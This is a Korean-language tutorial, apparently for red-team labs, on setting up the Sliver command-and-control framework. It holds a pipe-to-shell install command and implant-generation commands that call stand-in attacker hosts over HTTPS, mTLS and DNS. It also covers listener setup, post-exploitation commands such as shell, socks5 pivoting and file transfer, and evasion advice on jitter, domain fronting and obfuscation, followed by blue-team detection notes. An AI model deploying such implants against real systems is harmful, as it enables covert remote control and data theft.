ATT&CK: T1071 Application Layer Protocol · Command and Control (TA0011)
Sliver는 BishopFox가 공개한 Go 기반 C2 프레임워크. 상용 Cobalt Strike의 교육/오픈 대안으로 자리잡았고, Mythic과 함께 오픈소스 레드팀 교육의 표준.
1. 아키텍처
Operator (CLI) <-- mTLS --> Sliver Server <-- Transport (HTTP/DNS/mTLS/WG) --> Implant
- Server: Go 바이너리 하나. 세션/작업/파일/페이로드 관리.
- Operator: 서버에 로그인하는 CLI (
sliver-client). 다수 운영자 동시 접속 가능. - Implant: 각 대상 호스트에서 돌아가는 beacon/session 바이너리.
2. 설치 (랩 환경)
# 서버 (랩/VPS)
curl https://sliver.sh/install | sudo bash
# 서비스로 돌림
sudo systemctl enable --now sliver
# 운영자 설정 발급
sliver-server operator --name alice --lhost 127.0.0.1 --save alice.cfg
# 클라이언트로 접속
sliver-client import alice.cfg
sliver-client
3. Session vs Beacon
| 모드 | 특징 |
|---|---|
| session | 대화형, 즉시 응답. 트래픽 지속적. |
| beacon | 간격 기반 체크인. 조용, 대신 응답 지연. |
실전 레드팀 작업은 beacon이 기본. 체크인 간격·지터 조정으로 네트워크 지문 분산.
4. implant 생성
4.1 HTTP(S) beacon
sliver > generate beacon --http https://attacker.example.com:443 \
--os linux --arch amd64 \
--name demo \
--save ./implants/
4.2 mTLS session (가장 조용)
sliver > generate --mtls attacker.example.com:8443 \
--os windows --arch amd64 \
--save ./implants/
4.3 DNS (느리지만 egress 거의 안 막힘)
sliver > generate --dns beacon.attacker.com --os linux
5. 리스너
implant를 받으려면 서버에 리스너:
sliver > https --domain attacker.example.com --lport 443
sliver > mtls --lport 8443
sliver > dns --domains beacon.attacker.com
6. 세션에서 할 수 있는 것
세션 선택 후:
[server] sliver > sessions
[server] sliver > use <session-id>
흔한 명령:
info— 세션 정보getuid,getpid,pwd,ls,catshell— 상호작용 셸 (OPSEC 위험 — 바로 중단되기 좋음)execute "cmd"— 비동기 명령 실행upload / downloadportfwd— 포트 포워딩socks5— SOCKS5 프록시 시작 → pivotscreenshot,ps
7. 플러그인 (Armory)
Sliver는 Armory라는 플러그인 저장소:
sliver > armory
sliver > armory install <extension-name>
주요 플러그인: BOF (Beacon Object File) 로더, in-memory .NET 실행, 커스텀 모듈 등.
8. OPSEC — 레드팀 랩에서 흔한 설정
- beacon 간격 지터:
generate beacon --jitter 60등으로 체크인 패턴 분산. - HTTPS C2 도메인: 평판 좋은 도메인 분류 (예: domain fronting, redirector).
- implant obfuscation: Sliver는 자체 symbol stripping 지원. UPX·Garble 추가로 지문 변경.
- transport rotation: 주 채널 HTTPS + 백업 DNS.
9. 블루팀 관점
- Sliver 기본 implant는 알려진 YARA 룰 다수 공개. 커스텀 빌드 안 하면 EDR이 즉시 탐지.
- HTTPS beacon 트래픽은 JA3/JA3S fingerprint로 TLS 지문 식별 가능.
- DNS beacon은 subdomain 길이·엔트로피 패턴으로 Zeek
dns.log에서 식별. - 레드팀 랩에서 Sliver로 공격 → 블루팀이 탐지 룰 작성·검증하는 적대적 시뮬레이션이 가장 흔한 사용 패턴.
10. 유사 도구
| 도구 | 성격 |
|---|---|
| Sliver | Go, 오픈소스, 범용 |
| Mythic | Python, 다중 agent 지원 (Apollo, Poseidon 등), 모듈형 |
| Covenant | C#, .NET 중심 (유지보수 둔화) |
| Metasploit (Meterpreter) | 레거시 교육용, EDR이 매우 민감 |
| Cobalt Strike | 상용 (Fortra). 레드팀 표준이지만 라이선스 비쌈 |
참고
- BishopFox/sliver
- Sliver Wiki
- MITRE ATT&CK — T1071